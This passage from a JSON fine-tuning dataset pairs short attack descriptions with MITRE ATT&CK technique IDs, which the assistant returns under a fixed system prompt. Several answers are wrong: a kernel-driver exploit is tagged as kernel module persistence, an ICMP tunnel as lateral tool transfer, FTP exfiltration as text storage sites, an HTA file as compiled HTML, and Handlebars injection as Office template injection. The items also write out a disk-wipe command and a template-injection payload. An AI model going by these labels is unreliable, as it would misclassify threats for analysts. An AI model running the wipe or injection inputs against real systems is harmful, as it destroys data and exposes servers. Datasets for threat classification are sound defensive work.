                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential vulnerabilities in a web application using automated scanners."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After phishing a cloud admin's credentials, the attacker adds new IAM roles with elevated permissions to the compromised account."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts reflective PE injection, loading a malicious portable executable directly into the memory of a benign system process without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises included hijacking an active RDP connection to maintain stealthy access to the environment."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool creates a launch daemon that runs with root privileges via /Library/LaunchDaemons/com.malicious.plist."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary purchases a digital code signing certificate from a compromised certification authority to sign malware binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a scheduled task that runs mshta.exe with a script URL, the adversary indirectly runs arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident response log shows a script calling the Azure Graph API to retrieve all service principals."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script creates a new domain account and adds it to the \"Backup Operators\" group for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group edits the domain's group policy to disable User Account Control (UAC)."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the trusted developer utilities proxy execution technique by chaining a benign build tool to launch a payload."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware strips the 'ZoneID' metadata from a document file before execution, effectively bypassing the Mark‑of‑the‑Web protection."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a spearphished message that appears to come from a trusted vendor and includes a link to a compromised website hosting a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a hardware keylogger to capture the authentication code entered after the password challenge."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised build agents in a continuous integration environment are used to inject malicious payloads into compiled software before it is released to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deployed a web shell on an internal application and used it to replace the login banner with a defaced image."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries collect domain registration details and WHOIS records to identify the victim organization's infrastructure owners."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor logged into a compromised Office 365 account and downloaded confidential project files from the organization’s SharePoint document library."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor converts sensitive data into QR code images for covert transfer."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a custom DLL that calls CryptUnprotectData on credential blobs from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a destructive wipe by using 'format /fs:NTFS /p:1' to erase the disk."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a publicly accessible API as a covert tunnel to exfiltrate data over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool queried the Azure Graph API to enumerate service principals, applications, and role assignments."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign places a malicious Office add‑in DLL in the user's AppData\\Roaming\\Microsoft\\Office\\StartUp directory to run with user privileges."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows built‑in certutil tool to download and later exfiltrate data to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set creates a covert channel by embedding command data in the IPv6 extension headers of outbound packets."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a credential‑phishing campaign targeting TikTok users, using a fake login page to capture usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script queried the Windows Registry for TCP connection tables to discover remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host uses a PowerShell script to POST extracted documents to a remote webhook URL on a self‑hosted Mattermost server."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking a common shared library, the attacker ensures their malicious code runs in the context of all dependent applications."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software initiates a high-rate transmission of DNS queries to the target's DNS server, crippling its ability to respond to legitimate requests."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code alters the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Power\\PowerSettings to enable the 'Wake on LAN' option for remote activation."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the mismatch between the TLS Server Name Indication (SNI) and the HTTP Host header to perform domain fronting, allowing them to communicate with a C2 server under the guise of benign traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the PowerShell profile for event-triggered execution by adding a registry key that points to a custom profile script."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use API hooking on the Linux PAM authentication module to capture credentials entered via sudo."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invoked \"cmd /c\" to execute \"echo %PATH%\" and capture environment variable information."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom PowerShell script to copy sensitive documents to a remote FTP server for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor harvests Kerberos service tickets from the network, isolates the ticket’s encrypted part, and performs dictionary attacks to recover the service account's password."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor secures a compromised VPN server to use as an internal staging environment."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures Active Setup to run a scheduled task that drops a second-stage payload each time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a high-privilege account, the threat actor uses Mimikatz to dump the KRBTGT hash and fabricates a Kerberos ticket that impersonates any user in the Active Directory forest."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Python is used to automate credential dumping by invoking Windows APIs to retrieve password hashes."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue script impersonated a trusted system process to gain elevated privileges on the host."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑compromise, the group runs a cleanup routine that disables and deletes any newly created services and associated registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a DLL and registers it as a Windows service using the \"srvany\" utility to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs port knocking, sending a rapid succession of connection attempts on ports 22, 2222, and 22222 to authenticate the attacker."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised email server to enumerate and export all user email addresses for later use."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a malicious agent that uses ICMP echo requests to tunnel data and discover new hosts."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies file timestamps to make malicious files appear older than they are."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a known vulnerability in a kernel driver to execute code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the victim machine opened a TFTP session to retrieve additional payloads from the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a reverse SSH tunnel to bypass firewalls and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets up an external HTTP proxy to tunnel its command‑and‑control traffic through a compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scrambles its configuration files using XOR encryption to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leveraged Windows Management Instrumentation to query the Win32_Process class and launch cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious compiled HTML file (HTA) and leverages mshta.exe to execute PowerShell scripts, effectively using mshta as a proxy for system binaries."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exfiltrated a legitimate utility from a third‑party site and placed it on the victim host to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage a web‑based note‑taking service, sending encoded data chunks via HTTPS POST to a publicly accessible note, effectively stealing data."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a reference to a rogue DLL in the Winlogon Image File Execution Options, the attacker gains persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CDN injects a malicious script into static assets, affecting all downstream websites using the CDN."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A drive-by download exploits a zero‑day in a web browser’s rendering engine, allowing the attacker to run arbitrary commands on the user’s device."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries automate the creation of multiple Yahoo Mail accounts to host phishing landing pages and host malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails contain links that resolve to a compromised website delivering a drive-by download of a second-stage backdoor."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a script that called rundll32.exe with a malicious DLL argument to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using msiexec.exe, the attacker runs a malicious custom action embedded in an MSI, achieving code execution via system binary proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploitation of a misconfigured Handlebars.js template allows an attacker to insert \"{{#with \"process\" as |p|}}{{p.cwd}}{{/with}}\" to disclose server directory information."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload was packaged as a .zip archive but the internal executable was given a .doc extension to masquerade as a document."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a web-based proxy, the adversary bypasses network filtering to access restricted resources."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a signed driver to patch the system image, modifying core system components without detection."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs SQL queries against the organization’s internal customer database to collect PII."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan compresses data and then encodes it with Base64 to evade network filters."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits the registry to include a malicious DLL as a time provider, enabling persistence via T1547.003."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group employs a SYN flood attack on a target's load balancer, exhausting its connection table and preventing legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages stolen service account credentials to access the DNS management console and alter MX records for email interception."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor directly accesses the volume metadata to enumerate partition tables and hidden partitions."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the name 'taskmgr.exe' for a ransomware dropper located in a hidden subfolder to avoid suspicion."
            },
            {
                "role": "assistant",
